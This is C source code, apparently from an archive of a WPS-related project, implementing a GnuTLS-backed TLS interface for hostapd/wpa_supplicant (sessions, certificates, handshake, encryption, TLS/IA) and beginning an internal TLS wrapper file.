wpabuf_put_data(conn->push_buf, buf, len); return len; } static int tls_gnutls_init_session(struct tls_global *global, struct tls_connection *conn) { const int cert_types[2] = { GNUTLS_CRT_X509, 0 }; const int protos[2] = { GNUTLS_TLS1, 0 }; int ret; ret = gnutls_init(&conn->session, global->server ? GNUTLS_SERVER : GNUTLS_CLIENT); if (ret < 0) { wpa_printf(MSG_INFO, "TLS: Failed to initialize new TLS " "connection: %s", gnutls_strerror(ret)); return -1; } ret = gnutls_set_default_priority(conn->session); if (ret < 0) goto fail; ret = gnutls_certificate_type_set_priority(conn->session, cert_types); if (ret < 0) goto fail; ret = gnutls_protocol_set_priority(conn->session, protos); if (ret < 0) goto fail; gnutls_transport_set_pull_function(conn->session, tls_pull_func); gnutls_transport_set_push_function(conn->session, tls_push_func); gnutls_transport_set_ptr(conn->session, (gnutls_transport_ptr) conn); return 0; fail: wpa_printf(MSG_INFO, "TLS: Failed to setup new TLS connection: %s", gnutls_strerror(ret)); gnutls_deinit(conn->session); return -1; } struct tls_connection * tls_connection_init(void *ssl_ctx) { struct tls_global *global = ssl_ctx; struct tls_connection *conn; int ret; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; if (tls_gnutls_init_session(global, conn)) { os_free(conn); return NULL; } if (global->params_set) { ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_CERTIFICATE, global->xcred); if (ret < 0) { wpa_printf(MSG_INFO, "Failed to configure " "credentials: %s", gnutls_strerror(ret)); os_free(conn); return NULL; } } if (gnutls_certificate_allocate_credentials(&conn->xcred)) { os_free(conn); return NULL; } return conn; } void tls_connection_deinit(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return; #ifdef GNUTLS_IA if (conn->iacred_srv) gnutls_ia_free_server_credentials(conn->iacred_srv); if (conn->iacred_cli) gnutls_ia_free_client_credentials(conn->iacred_cli); if (conn->session_keys) { os_memset(conn->session_keys, 0, conn->session_keys_len); os_free(conn->session_keys); } #endif /* GNUTLS_IA */ gnutls_certificate_free_credentials(conn->xcred); gnutls_deinit(conn->session); os_free(conn->pre_shared_secret); os_free(conn->subject_match); os_free(conn->altsubject_match); wpabuf_free(conn->push_buf); wpabuf_free(conn->pull_buf); os_free(conn); } int tls_connection_established(void *ssl_ctx, struct tls_connection *conn) { return conn ? conn->established : 0; } int tls_connection_shutdown(void *ssl_ctx, struct tls_connection *conn) { struct tls_global *global = ssl_ctx; int ret; if (conn == NULL) return -1; /* Shutdown previous TLS connection without notifying the peer * because the connection was already terminated in practice * and "close notify" shutdown alert would confuse AS. */ gnutls_bye(conn->session, GNUTLS_SHUT_RDWR); wpabuf_free(conn->push_buf); conn->push_buf = NULL; conn->established = 0; conn->final_phase_finished = 0; #ifdef GNUTLS_IA if (conn->session_keys) { os_memset(conn->session_keys, 0, conn->session_keys_len); os_free(conn->session_keys); } conn->session_keys_len = 0; #endif /* GNUTLS_IA */ gnutls_deinit(conn->session); if (tls_gnutls_init_session(global, conn)) { wpa_printf(MSG_INFO, "GnuTLS: Failed to preparare new session " "for session resumption use"); return -1; } ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_CERTIFICATE, conn->params_set ? conn->xcred : global->xcred); if (ret < 0) { wpa_printf(MSG_INFO, "GnuTLS: Failed to configure credentials " "for session resumption: %s", gnutls_strerror(ret)); return -1; } if (global->session_data) { ret = gnutls_session_set_data(conn->session, global->session_data, global->session_data_size); if (ret < 0) { wpa_printf(MSG_INFO, "GnuTLS: Failed to set session " "data: %s", gnutls_strerror(ret)); return -1; } } return 0; } #if 0 static int tls_match_altsubject(X509 *cert, const char *match) { GENERAL_NAME *gen; char *field, *tmp; void *ext; int i, found = 0; size_t len; ext = X509_get_ext_d2i(cert, NID_subject_alt_name, NULL, NULL); for (i = 0; ext && i < sk_GENERAL_NAME_num(ext); i++) { gen = sk_GENERAL_NAME_value(ext, i); switch (gen->type) { case GEN_EMAIL: field = "EMAIL"; break; case GEN_DNS: field = "DNS"; break; case GEN_URI: field = "URI"; break; default: field = NULL; wpa_printf(MSG_DEBUG, "TLS: altSubjectName: " "unsupported type=%d", gen->type); break; } if (!field) continue; wpa_printf(MSG_DEBUG, "TLS: altSubjectName: %s:%s", field, gen->d.ia5->data); len = os_strlen(field) + 1 + strlen((char *) gen->d.ia5->data) + 1; tmp = os_malloc(len); if (tmp == NULL) continue; snprintf(tmp, len, "%s:%s", field, gen->d.ia5->data); if (strstr(tmp, match)) found++; os_free(tmp); } return found; } #endif #if 0 static int tls_verify_cb(int preverify_ok, X509_STORE_CTX *x509_ctx) { char buf[256]; X509 *err_cert; int err, depth; SSL *ssl; struct tls_connection *conn; char *match, *altmatch; err_cert = X509_STORE_CTX_get_current_cert(x509_ctx); err = X509_STORE_CTX_get_error(x509_ctx); depth = X509_STORE_CTX_get_error_depth(x509_ctx); ssl = X509_STORE_CTX_get_ex_data(x509_ctx, SSL_get_ex_data_X509_STORE_CTX_idx()); X509_NAME_oneline(X509_get_subject_name(err_cert), buf, sizeof(buf)); conn = SSL_get_app_data(ssl); match = conn ? conn->subject_match : NULL; altmatch = conn ? conn->altsubject_match : NULL; if (!preverify_ok) { wpa_printf(MSG_WARNING, "TLS: Certificate verification failed," " error %d (%s) depth %d for '%s'", err, X509_verify_cert_error_string(err), depth, buf); } else { wpa_printf(MSG_DEBUG, "TLS: tls_verify_cb - " "preverify_ok=%d err=%d (%s) depth=%d buf='%s'", preverify_ok, err, X509_verify_cert_error_string(err), depth, buf); if (depth == 0 && match && strstr(buf, match) == NULL) { wpa_printf(MSG_WARNING, "TLS: Subject '%s' did not " "match with '%s'", buf, match); preverify_ok = 0; } else if (depth == 0 && altmatch && !tls_match_altsubject(err_cert, altmatch)) { wpa_printf(MSG_WARNING, "TLS: altSubjectName match " "'%s' not found", altmatch); preverify_ok = 0; } } return preverify_ok; } #endif int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params) { int ret; if (conn == NULL || params == NULL) return -1; os_free(conn->subject_match); conn->subject_match = NULL; if (params->subject_match) { conn->subject_match = os_strdup(params->subject_match); if (conn->subject_match == NULL) return -1; } os_free(conn->altsubject_match); conn->altsubject_match = NULL; if (params->altsubject_match) { conn->altsubject_match = os_strdup(params->altsubject_match); if (conn->altsubject_match == NULL) return -1; } /* TODO: gnutls_certificate_set_verify_flags(xcred, flags); * to force peer validation(?) */ if (params->ca_cert) { conn->verify_peer = 1; ret = gnutls_certificate_set_x509_trust_file( conn->xcred, params->ca_cert, GNUTLS_X509_FMT_PEM); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read CA cert '%s' " "in PEM format: %s", params->ca_cert, gnutls_strerror(ret)); ret = gnutls_certificate_set_x509_trust_file( conn->xcred, params->ca_cert, GNUTLS_X509_FMT_DER); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read CA cert " "'%s' in DER format: %s", params->ca_cert, gnutls_strerror(ret)); return -1; } } if (params->flags & TLS_CONN_ALLOW_SIGN_RSA_MD5) { gnutls_certificate_set_verify_flags( conn->xcred, GNUTLS_VERIFY_ALLOW_SIGN_RSA_MD5); } if (params->flags & TLS_CONN_DISABLE_TIME_CHECKS) { gnutls_certificate_set_verify_flags( conn->xcred, GNUTLS_VERIFY_DISABLE_TIME_CHECKS); } } if (params->client_cert && params->private_key) { /* TODO: private_key_passwd? */ ret = gnutls_certificate_set_x509_key_file( conn->xcred, params->client_cert, params->private_key, GNUTLS_X509_FMT_PEM); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read client cert/key " "in PEM format: %s", gnutls_strerror(ret)); ret = gnutls_certificate_set_x509_key_file( conn->xcred, params->client_cert, params->private_key, GNUTLS_X509_FMT_DER); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read client " "cert/key in DER format: %s", gnutls_strerror(ret)); return ret; } } } else if (params->private_key) { int pkcs12_ok = 0; #ifdef PKCS12_FUNCS /* Try to load in PKCS#12 format */ #if LIBGNUTLS_VERSION_NUMBER >= 0x010302 ret = gnutls_certificate_set_x509_simple_pkcs12_file( conn->xcred, params->private_key, GNUTLS_X509_FMT_DER, params->private_key_passwd); if (ret != 0) { wpa_printf(MSG_DEBUG, "Failed to load private_key in " "PKCS#12 format: %s", gnutls_strerror(ret)); return -1; } else pkcs12_ok = 1; #endif /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */ #endif /* PKCS12_FUNCS */ if (!pkcs12_ok) { wpa_printf(MSG_DEBUG, "GnuTLS: PKCS#12 support not " "included"); return -1; } } conn->tls_ia = params->tls_ia; conn->params_set = 1; ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_CERTIFICATE, conn->xcred); if (ret < 0) { wpa_printf(MSG_INFO, "Failed to configure credentials: %s", gnutls_strerror(ret)); } #ifdef GNUTLS_IA if (conn->iacred_cli) gnutls_ia_free_client_credentials(conn->iacred_cli); ret = gnutls_ia_allocate_client_credentials(&conn->iacred_cli); if (ret) { wpa_printf(MSG_DEBUG, "Failed to allocate IA credentials: %s", gnutls_strerror(ret)); return -1; } ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_IA, conn->iacred_cli); if (ret) { wpa_printf(MSG_DEBUG, "Failed to configure IA credentials: %s", gnutls_strerror(ret)); gnutls_ia_free_client_credentials(conn->iacred_cli); conn->iacred_cli = NULL; return -1; } #endif /* GNUTLS_IE */ return ret; } int tls_global_set_params(void *tls_ctx, const struct tls_connection_params *params) { struct tls_global *global = tls_ctx; int ret; /* Currently, global parameters are only set when running in server * mode. */ global->server = 1; if (global->params_set) { gnutls_certificate_free_credentials(global->xcred); global->params_set = 0; } ret = gnutls_certificate_allocate_credentials(&global->xcred); if (ret) { wpa_printf(MSG_DEBUG, "Failed to allocate global credentials " "%s", gnutls_strerror(ret)); return -1; } if (params->ca_cert) { ret = gnutls_certificate_set_x509_trust_file( global->xcred, params->ca_cert, GNUTLS_X509_FMT_PEM); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read CA cert '%s' " "in PEM format: %s", params->ca_cert, gnutls_strerror(ret)); ret = gnutls_certificate_set_x509_trust_file( global->xcred, params->ca_cert, GNUTLS_X509_FMT_DER); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read CA cert " "'%s' in DER format: %s", params->ca_cert, gnutls_strerror(ret)); goto fail; } } if (params->flags & TLS_CONN_ALLOW_SIGN_RSA_MD5) { gnutls_certificate_set_verify_flags( global->xcred, GNUTLS_VERIFY_ALLOW_SIGN_RSA_MD5); } if (params->flags & TLS_CONN_DISABLE_TIME_CHECKS) { gnutls_certificate_set_verify_flags( global->xcred, GNUTLS_VERIFY_DISABLE_TIME_CHECKS); } } if (params->client_cert && params->private_key) { /* TODO: private_key_passwd? */ ret = gnutls_certificate_set_x509_key_file( global->xcred, params->client_cert, params->private_key, GNUTLS_X509_FMT_PEM); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read client cert/key " "in PEM format: %s", gnutls_strerror(ret)); ret = gnutls_certificate_set_x509_key_file( global->xcred, params->client_cert, params->private_key, GNUTLS_X509_FMT_DER); if (ret < 0) { wpa_printf(MSG_DEBUG, "Failed to read client " "cert/key in DER format: %s", gnutls_strerror(ret)); goto fail; } } } else if (params->private_key) { int pkcs12_ok = 0; #ifdef PKCS12_FUNCS /* Try to load in PKCS#12 format */ #if LIBGNUTLS_VERSION_NUMBER >= 0x010302 ret = gnutls_certificate_set_x509_simple_pkcs12_file( global->xcred, params->private_key, GNUTLS_X509_FMT_DER, params->private_key_passwd); if (ret != 0) { wpa_printf(MSG_DEBUG, "Failed to load private_key in " "PKCS#12 format: %s", gnutls_strerror(ret)); goto fail; } else pkcs12_ok = 1; #endif /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */ #endif /* PKCS12_FUNCS */ if (!pkcs12_ok) { wpa_printf(MSG_DEBUG, "GnuTLS: PKCS#12 support not " "included"); goto fail; } } global->params_set = 1; return 0; fail: gnutls_certificate_free_credentials(global->xcred); return -1; } int tls_global_set_verify(void *ssl_ctx, int check_crl) { /* TODO */ return 0; } int tls_connection_set_verify(void *ssl_ctx, struct tls_connection *conn, int verify_peer) { if (conn == NULL || conn->session == NULL) return -1; conn->verify_peer = verify_peer; gnutls_certificate_server_set_request(conn->session, verify_peer ? GNUTLS_CERT_REQUIRE : GNUTLS_CERT_REQUEST); return 0; } int tls_connection_get_keys(void *ssl_ctx, struct tls_connection *conn, struct tls_keys *keys) { #ifdef GNUTLS_INTERNAL_STRUCTURE_HACK security_parameters_st *sec; #endif /* GNUTLS_INTERNAL_STRUCTURE_HACK */ if (conn == NULL || conn->session == NULL || keys == NULL) return -1; os_memset(keys, 0, sizeof(*keys)); #ifdef GNUTLS_INTERNAL_STRUCTURE_HACK sec = &conn->session->security_parameters; keys->master_key = sec->master_secret; keys->master_key_len = TLS_MASTER_SIZE; keys->client_random = sec->client_random; keys->server_random = sec->server_random; #else /* GNUTLS_INTERNAL_STRUCTURE_HACK */ keys->client_random = (u8 *) gnutls_session_get_client_random(conn->session); keys->server_random = (u8 *) gnutls_session_get_server_random(conn->session); /* No access to master_secret */ #endif /* GNUTLS_INTERNAL_STRUCTURE_HACK */ #ifdef GNUTLS_IA gnutls_ia_extract_inner_secret(conn->session, (char *) conn->inner_secret); keys->inner_secret = conn->inner_secret; keys->inner_secret_len = TLS_MASTER_SIZE; #endif /* GNUTLS_IA */ keys->client_random_len = TLS_RANDOM_SIZE; keys->server_random_len = TLS_RANDOM_SIZE; return 0; } int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { #if LIBGNUTLS_VERSION_NUMBER >= 0x010302 if (conn == NULL || conn->session == NULL) return -1; return gnutls_prf(conn->session, os_strlen(label), label, server_random_first, 0, NULL, out_len, (char *) out); #else /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */ return -1; #endif /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */ } static int tls_connection_verify_peer(struct tls_connection *conn, gnutls_alert_description_t *err) { unsigned int status, num_certs, i; struct os_time now; const gnutls_datum_t *certs; gnutls_x509_crt_t cert; if (gnutls_certificate_verify_peers2(conn->session, &status) < 0) { wpa_printf(MSG_INFO, "TLS: Failed to verify peer " "certificate chain"); *err = GNUTLS_A_INTERNAL_ERROR; return -1; } if (conn->verify_peer && (status & GNUTLS_CERT_INVALID)) { wpa_printf(MSG_INFO, "TLS: Peer certificate not trusted"); if (status & GNUTLS_CERT_INSECURE_ALGORITHM) { wpa_printf(MSG_INFO, "TLS: Certificate uses insecure " "algorithm"); *err = GNUTLS_A_INSUFFICIENT_SECURITY; } if (status & GNUTLS_CERT_NOT_ACTIVATED) { wpa_printf(MSG_INFO, "TLS: Certificate not yet " "activated"); *err = GNUTLS_A_CERTIFICATE_EXPIRED; } if (status & GNUTLS_CERT_EXPIRED) { wpa_printf(MSG_INFO, "TLS: Certificate expired"); *err = GNUTLS_A_CERTIFICATE_EXPIRED; } return -1; } if (status & GNUTLS_CERT_SIGNER_NOT_FOUND) { wpa_printf(MSG_INFO, "TLS: Peer certificate does not have a " "known issuer"); *err = GNUTLS_A_UNKNOWN_CA; return -1; } if (status & GNUTLS_CERT_REVOKED) { wpa_printf(MSG_INFO, "TLS: Peer certificate has been revoked"); *err = GNUTLS_A_CERTIFICATE_REVOKED; return -1; } os_get_time(&now); certs = gnutls_certificate_get_peers(conn->session, &num_certs); if (certs == NULL) { wpa_printf(MSG_INFO, "TLS: No peer certificate chain " "received"); *err = GNUTLS_A_UNKNOWN_CA; return -1; } for (i = 0; i < num_certs; i++) { char *buf; size_t len; if (gnutls_x509_crt_init(&cert) < 0) { wpa_printf(MSG_INFO, "TLS: Certificate initialization " "failed"); *err = GNUTLS_A_BAD_CERTIFICATE; return -1; } if (gnutls_x509_crt_import(cert, &certs[i], GNUTLS_X509_FMT_DER) < 0) { wpa_printf(MSG_INFO, "TLS: Could not parse peer " "certificate %d/%d", i + 1, num_certs); gnutls_x509_crt_deinit(cert); *err = GNUTLS_A_BAD_CERTIFICATE; return -1; } gnutls_x509_crt_get_dn(cert, NULL, &len); len++; buf = os_malloc(len + 1); if (buf) { buf[0] = buf[len] = '\0'; gnutls_x509_crt_get_dn(cert, buf, &len); } wpa_printf(MSG_DEBUG, "TLS: Peer cert chain %d/%d: %s", i + 1, num_certs, buf); if (i == 0) { /* TODO: validate subject_match and altsubject_match */ } os_free(buf); if (gnutls_x509_crt_get_expiration_time(cert) < now.sec || gnutls_x509_crt_get_activation_time(cert) > now.sec) { wpa_printf(MSG_INFO, "TLS: Peer certificate %d/%d is " "not valid at this time", i + 1, num_certs); gnutls_x509_crt_deinit(cert); *err = GNUTLS_A_CERTIFICATE_EXPIRED; return -1; } gnutls_x509_crt_deinit(cert); } return 0; } static struct wpabuf * gnutls_get_appl_data(struct tls_connection *conn) { int res; struct wpabuf *ad; wpa_printf(MSG_DEBUG, "GnuTLS: Check for possible Application Data"); ad = wpabuf_alloc((wpabuf_len(conn->pull_buf) + 500) * 3); if (ad == NULL) return NULL; res = gnutls_record_recv(conn->session, wpabuf_mhead(ad), wpabuf_size(ad)); wpa_printf(MSG_DEBUG, "GnuTLS: gnutls_record_recv: %d", res); if (res < 0) { wpa_printf(MSG_DEBUG, "%s - gnutls_ia_recv failed: %d " "(%s)", __func__, (int) res, gnutls_strerror(res)); wpabuf_free(ad); return NULL; } wpabuf_put(ad, res); wpa_printf(MSG_DEBUG, "GnuTLS: Received %d bytes of Application Data", res); return ad; } struct wpabuf * tls_connection_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { struct tls_global *global = tls_ctx; struct wpabuf *out_data; int ret; if (appl_data) *appl_data = NULL; if (in_data && wpabuf_len(in_data) > 0) { if (conn->pull_buf) { wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in " "pull_buf", __func__, (unsigned long) wpabuf_len(conn->pull_buf)); wpabuf_free(conn->pull_buf); } conn->pull_buf = wpabuf_dup(in_data); if (conn->pull_buf == NULL) return NULL; conn->pull_buf_offset = wpabuf_head(conn->pull_buf); } ret = gnutls_handshake(conn->session); if (ret < 0) { switch (ret) { case GNUTLS_E_AGAIN: if (global->server && conn->established && conn->push_buf == NULL) { /* Need to return something to trigger * completion of EAP-TLS. */ conn->push_buf = wpabuf_alloc(0); } break; case GNUTLS_E_FATAL_ALERT_RECEIVED: wpa_printf(MSG_DEBUG, "%s - received fatal '%s' alert", __func__, gnutls_alert_get_name( gnutls_alert_get(conn->session))); conn->read_alerts++; /* continue */ default: wpa_printf(MSG_DEBUG, "%s - gnutls_handshake failed " "-> %s", __func__, gnutls_strerror(ret)); conn->failed++; } } else { size_t size; gnutls_alert_description_t err; if (conn->verify_peer && tls_connection_verify_peer(conn, &err)) { wpa_printf(MSG_INFO, "TLS: Peer certificate chain " "failed validation"); conn->failed++; gnutls_alert_send(conn->session, GNUTLS_AL_FATAL, err); goto out; } #ifdef CONFIG_GNUTLS_EXTRA if (conn->tls_ia && !gnutls_ia_handshake_p(conn->session)) { wpa_printf(MSG_INFO, "TLS: No TLS/IA negotiation"); conn->failed++; return NULL; } #endif /* CONFIG_GNUTLS_EXTRA */ if (conn->tls_ia) wpa_printf(MSG_DEBUG, "TLS: Start TLS/IA handshake"); else { wpa_printf(MSG_DEBUG, "TLS: Handshake completed " "successfully"); } conn->established = 1; if (conn->push_buf == NULL) { /* Need to return something to get final TLS ACK. */ conn->push_buf = wpabuf_alloc(0); } gnutls_session_get_data(conn->session, NULL, &size); if (global->session_data == NULL || global->session_data_size < size) { os_free(global->session_data); global->session_data = os_malloc(size); } if (global->session_data) { global->session_data_size = size; gnutls_session_get_data(conn->session, global->session_data, &global->session_data_size); } if (conn->pull_buf && appl_data) *appl_data = gnutls_get_appl_data(conn); } out: out_data = conn->push_buf; conn->push_buf = NULL; return out_data; } struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return tls_connection_handshake(tls_ctx, conn, in_data, appl_data); } struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { ssize_t res; struct wpabuf *buf; #ifdef GNUTLS_IA if (conn->tls_ia) res = gnutls_ia_send(conn->session, wpabuf_head(in_data), wpabuf_len(in_data)); else #endif /* GNUTLS_IA */ res = gnutls_record_send(conn->session, wpabuf_head(in_data), wpabuf_len(in_data)); if (res < 0) { wpa_printf(MSG_INFO, "%s: Encryption failed: %s", __func__, gnutls_strerror(res)); return NULL; } buf = conn->push_buf; conn->push_buf = NULL; return buf; } struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { ssize_t res; struct wpabuf *out; if (conn->pull_buf) { wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in " "pull_buf", __func__, (unsigned long) wpabuf_len(conn->pull_buf)); wpabuf_free(conn->pull_buf); } conn->pull_buf = wpabuf_dup(in_data); if (conn->pull_buf == NULL) return NULL; conn->pull_buf_offset = wpabuf_head(conn->pull_buf); /* * Even though we try to disable TLS compression, it is possible that * this cannot be done with all TLS libraries. Add extra buffer space * to handle the possibility of the decrypted data being longer than * input data. */ out = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3); if (out == NULL) return NULL; #ifdef GNUTLS_IA if (conn->tls_ia) { res = gnutls_ia_recv(conn->session, wpabuf_mhead(out), wpabuf_size(out)); if (res == GNUTLS_E_WARNING_IA_IPHF_RECEIVED || res == GNUTLS_E_WARNING_IA_FPHF_RECEIVED) { int final = res == GNUTLS_E_WARNING_IA_FPHF_RECEIVED; wpa_printf(MSG_DEBUG, "%s: Received %sPhaseFinished", __func__, final ? "Final" : "Intermediate"); res = gnutls_ia_permute_inner_secret( conn->session, conn->session_keys_len, (char *) conn->session_keys); if (conn->session_keys) { os_memset(conn->session_keys, 0, conn->session_keys_len); os_free(conn->session_keys); } conn->session_keys = NULL; conn->session_keys_len = 0; if (res) { wpa_printf(MSG_DEBUG, "%s: Failed to permute " "inner secret: %s", __func__, gnutls_strerror(res)); wpabuf_free(out); return NULL; } res = gnutls_ia_verify_endphase(conn->session, wpabuf_head(out)); if (res == 0) { wpa_printf(MSG_DEBUG, "%s: Correct endphase " "checksum", __func__); } else { wpa_printf(MSG_INFO, "%s: Endphase " "verification failed: %s", __func__, gnutls_strerror(res)); wpabuf_free(out); return NULL; } if (final) conn->final_phase_finished = 1; return out; } if (res < 0) { wpa_printf(MSG_DEBUG, "%s - gnutls_ia_recv failed: %d " "(%s)", __func__, (int) res, gnutls_strerror(res)); wpabuf_free(out); return NULL; } wpabuf_put(out, res); return out; } #endif /* GNUTLS_IA */ res = gnutls_record_recv(conn->session, wpabuf_mhead(out), wpabuf_size(out)); if (res < 0) { wpa_printf(MSG_DEBUG, "%s - gnutls_record_recv failed: %d " "(%s)", __func__, (int) res, gnutls_strerror(res)); wpabuf_free(out); return NULL; } wpabuf_put(out, res); return out; } int tls_connection_resumed(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return 0; return gnutls_session_is_resumed(conn->session); } int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers) { /* TODO */ return -1; } int tls_get_cipher(void *ssl_ctx, struct tls_connection *conn, char *buf, size_t buflen) { /* TODO */ buf[0] = '\0'; return 0; } int tls_connection_enable_workaround(void *ssl_ctx, struct tls_connection *conn) { gnutls_record_disable_padding(conn->session); return 0; } int tls_connection_client_hello_ext(void *ssl_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len) { /* TODO */ return -1; } int tls_connection_get_failed(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->failed; } int tls_connection_get_read_alerts(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->read_alerts; } int tls_connection_get_write_alerts(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->write_alerts; } int tls_connection_get_keyblock_size(void *tls_ctx, struct tls_connection *conn) { /* TODO */ return -1; } unsigned int tls_capabilities(void *tls_ctx) { unsigned int capa = 0; #ifdef GNUTLS_IA capa |= TLS_CAPABILITY_IA; #endif /* GNUTLS_IA */ return capa; } int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia) { #ifdef GNUTLS_IA int ret; if (conn == NULL) return -1; conn->tls_ia = tls_ia; if (!tls_ia) return 0; ret = gnutls_ia_allocate_server_credentials(&conn->iacred_srv); if (ret) { wpa_printf(MSG_DEBUG, "Failed to allocate IA credentials: %s", gnutls_strerror(ret)); return -1; } ret = gnutls_credentials_set(conn->session, GNUTLS_CRD_IA, conn->iacred_srv); if (ret) { wpa_printf(MSG_DEBUG, "Failed to configure IA credentials: %s", gnutls_strerror(ret)); gnutls_ia_free_server_credentials(conn->iacred_srv); conn->iacred_srv = NULL; return -1; } return 0; #else /* GNUTLS_IA */ return -1; #endif /* GNUTLS_IA */ } struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final) { #ifdef GNUTLS_IA int ret; struct wpabuf *buf; if (conn == NULL || conn->session == NULL || !conn->tls_ia) return NULL; ret = gnutls_ia_permute_inner_secret(conn->session, conn->session_keys_len, (char *) conn->session_keys); if (conn->session_keys) { os_memset(conn->session_keys, 0, conn->session_keys_len); os_free(conn->session_keys); } conn->session_keys = NULL; conn->session_keys_len = 0; if (ret) { wpa_printf(MSG_DEBUG, "%s: Failed to permute inner secret: %s", __func__, gnutls_strerror(ret)); return NULL; } ret = gnutls_ia_endphase_send(conn->session, final); if (ret) { wpa_printf(MSG_DEBUG, "%s: Failed to send endphase: %s", __func__, gnutls_strerror(ret)); return NULL; } buf = conn->push_buf; conn->push_buf = NULL; return buf; #else /* GNUTLS_IA */ return NULL; #endif /* GNUTLS_IA */ } int tls_connection_ia_final_phase_finished(void *tls_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->final_phase_finished; } int tls_connection_ia_permute_inner_secret(void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len) { #ifdef GNUTLS_IA if (conn == NULL || !conn->tls_ia) return -1; if (conn->session_keys) { os_memset(conn->session_keys, 0, conn->session_keys_len); os_free(conn->session_keys); } conn->session_keys_len = 0; if (key) { conn->session_keys = os_malloc(key_len); if (conn->session_keys == NULL) return -1; os_memcpy(conn->session_keys, key, key_len); conn->session_keys_len = key_len; } else { conn->session_keys = NULL; conn->session_keys_len = 0; } return 0; #else /* GNUTLS_IA */ return -1; #endif /* GNUTLS_IA */ } int tls_connection_set_session_ticket_cb(void *tls_ctx, struct tls_connection *conn, tls_session_ticket_cb cb, void *ctx) { return -1; } reaver-wps-fork-t6x-1.6.6/src/crypto/tls_internal.c000077500000000000000000000353651363372615500223000ustar00rootroot00000000000000/* * TLS interface functions and an internal TLS implementation * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file interface functions for hostapd/wpa_supplicant to use the * integrated TLSv1 implementation. */ #include "includes.h" #include "common.h" #include "tls.h" #include "tls/tlsv1_client.h" #include "tls/tlsv1_server.h" static int tls_ref_count = 0; struct tls_global { int server; struct tlsv1_credentials *server_cred; int check_crl; }; struct tls_connection { struct tlsv1_client *client; struct tlsv1_server *server; }; void * tls_init(const struct tls_config *conf) { struct tls_global *global; if (tls_ref_count == 0) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (tlsv1_client_global_init()) return NULL; #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (tlsv1_server_global_init()) return NULL; #endif /* CONFIG_TLS_INTERNAL_SERVER */ } tls_ref_count++; global = os_zalloc(sizeof(*global)); if (global == NULL) return NULL; return global; } void tls_deinit(void *ssl_ctx) { struct tls_global *global = ssl_ctx; tls_ref_count--; if (tls_ref_count == 0) { #ifdef CONFIG_TLS_INTERNAL_CLIENT tlsv1_client_global_deinit(); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER tlsv1_cred_free(global->server_cred); tlsv1_server_global_deinit(); #endif /* CONFIG_TLS_INTERNAL_SERVER */ } os_free(global); } int tls_get_errors(void *tls_ctx) { return 0; } struct tls_connection * tls_connection_init(void *tls_ctx) { struct tls_connection *conn; struct tls_global *global = tls_ctx; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; #ifdef CONFIG_TLS_INTERNAL_CLIENT if (!global->server) { conn->client = tlsv1_client_init(); if (conn->client == NULL) { os_free(conn); return NULL; } } #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (global->server) { conn->server = tlsv1_server_init(global->server_cred); if (conn->server == NULL) { os_free(conn); return NULL; } } #endif /* CONFIG_TLS_INTERNAL_SERVER */ return conn; } void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn) { if (conn == NULL) return; #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) tlsv1_client_deinit(conn->client); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef CONFIG_TLS_INTERNAL_SERVER if (conn->server) tlsv1_server_deinit(conn->server); #endif /* CONFIG_TLS_INTERNAL_SERVER */ os_free(conn); } int tls_connection_established(void *tls_ctx, struct tls_connection *conn) { #ifdef CONFIG_TLS_INTERNAL_CLIENT if (conn->client) return tlsv1_client_established(conn->client); #endif /* CONFIG_TLS_INTERNAL_CLIENT */ #ifdef 